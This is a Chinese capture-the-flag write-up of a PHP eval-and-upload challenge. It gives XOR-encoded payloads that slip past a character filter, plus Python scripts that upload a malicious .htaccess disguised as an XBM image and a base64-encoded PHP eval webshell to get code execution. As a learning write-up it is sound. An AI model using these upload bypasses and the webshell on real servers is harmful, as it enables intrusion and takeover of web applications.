摘要
绕过与文件上传
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <?php function get_the_flag(){ $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']); if(!file_exists($userdir)){ mkdir($userdir); } if(!empty($_FILES["file"])){ $tmp_name = $_FILES["file"]["tmp_name"]; $name = $_FILES["file"]["name"]; $extension = substr($name, strrpos($name,".")+1); if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^"); if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name; @move_uploaded_file($tmp_name, $path); print_r($path); } }
$hhh = @$_GET['_'];
if (!$hhh){ highlight_file(__FILE__); }
if(strlen($hhh)>18){ die('One inch long, one inch strong!'); }
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) die('Try something else!');
$character_type = count_chars($hhh, 3); if(strlen($character_type)>12) die("Almost there!");
eval($hhh); ?>
|
一个函数,一个eval
第一层
1 2 3
| if(strlen($hhh)>18){ die('One inch long, one inch strong!'); }
|
长度不能超过18
1 2
| if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) die('Try something else!');
|
正则匹配
1 2
| $character_type = count_chars($hhh, 3); if(strlen($character_type)>12) die("Almost there!");
|
使用的字符不能超过12种
首先正则,可以看到大部分可见字符都过滤掉了,基本上就是使用异或、取反
取反需要~
,但此符号被过滤掉了,与字串相同长度的%ff
异或相当于取反
https://blog.csdn.net/qq_45521281/article/details/105656737
1
| ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
|
这个方法似乎非常的极限,暂时找不到更好的……disable function很多……
getflag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| function get_the_flag(){ $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']); if(!file_exists($userdir)){ mkdir($userdir); } if(!empty($_FILES["file"])){ $tmp_name = $_FILES["file"]["tmp_name"]; $name = $_FILES["file"]["name"]; $extension = substr($name, strrpos($name,".")+1); if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^"); if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name; @move_uploaded_file($tmp_name, $path); print_r($path); } }
|
文件名匹配ph
,文件内容匹配<?
,判断是否为图片,通过后输出存放路径
第二层
第一点:exif_imagetype()读取一个图像的第一个字节并检查其签名
1、在内容前面增加GIF98a等标志
2、在文件开头增加\xff\xd8等标志
3、>使用了xbm格式,X Bit Map,来绕过图片检测
>一个XMB图片文件通常如下:#define width 1337 #define height 1337 static char test_bits[] = { };
第二点:文件名绕过
.user.ini需要同文件夹下的php文件
这里选用.htaccess
注意,.htaccess
文件需要格式符合,否则会500异常;因此选用xbm绕过,此文件头会被认为是注释
第三点:文件内容绕过
脚本编码
1 2 3
| php_flag zend.multibyte 1 启用编码 php_value zend.script_encoding 'UTF-8' 设置编码 php_value auto_append_file 所有文件底部包含
|
payload:
1
| ${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%ff=get_the_flag
|
利用python脚本进行文件提交:
注意换行!
.htaccess
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
|
import requests
shell ="AddType application/x-httpd-php .aaa \nphp_flag display_errors on \nphp_flag zend.multibyte 1 \nphp_value zend.script_encoding 'UTF-8' \nphp_value auto_append_file 'php://filter/convert.base64-decode/resource=1.aaa'"
prefix = "\n#define counter_width 40 \n#define counter_height 10"
con = prefix + "\n" + shell con = con.encode('utf-8')
url = "http://2e82df58-e85e-48ab-833b-22a31a8f041d.node4.buuoj.cn:81/?_=${%ff%ff%ff%ff^%A0%B8%BA%AB}{%ff}();&%ff=get_the_flag" headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0'} files = { 'file': ('.htaccess', con, 'image/x-xbitmap') }
response = requests.post(url=url, headers=headers, files=files)
res = response.text print(res)
|
AddType application/x-httpd-php .aaa 后缀.aaa解析为php
auto_append_file ‘php://filter/convert.base64-decode/resource=1.aaa’ 包含文件可以用协议处理数据流
编码设置太麻烦了,学习了用协议读入……
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from functools import partial
import requests import base64
shell = "PD9waHAgQGV2YWwoJF9QT1NUWydvayddKSA/Pg=="
prefix = "GIF8!"
con = prefix + "\n" + shell
url = "http://2e82df58-e85e-48ab-833b-22a31a8f041d.node4.buuoj.cn:81/?_=${%ff%ff%ff%ff^%A0%B8%BA%AB}{%ff}();&%ff=get_the_flag" headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0'} files = { 'file': ('1.aaa', con, 'image/png'), }
response = requests.post(url=url, headers=headers, files=files)
res = response.text print(res)
|
第三层
获取shell后,发现不能跨目录与命令执行……又到了恐怖的绕disable function 时间……
……
蚁剑还是强啊!
参考文章:
浅谈PHP代码执行中出现过滤限制的绕过执行方法
https://xz.aliyun.com/t/6042#toc-26
一道疯狂bypass的题目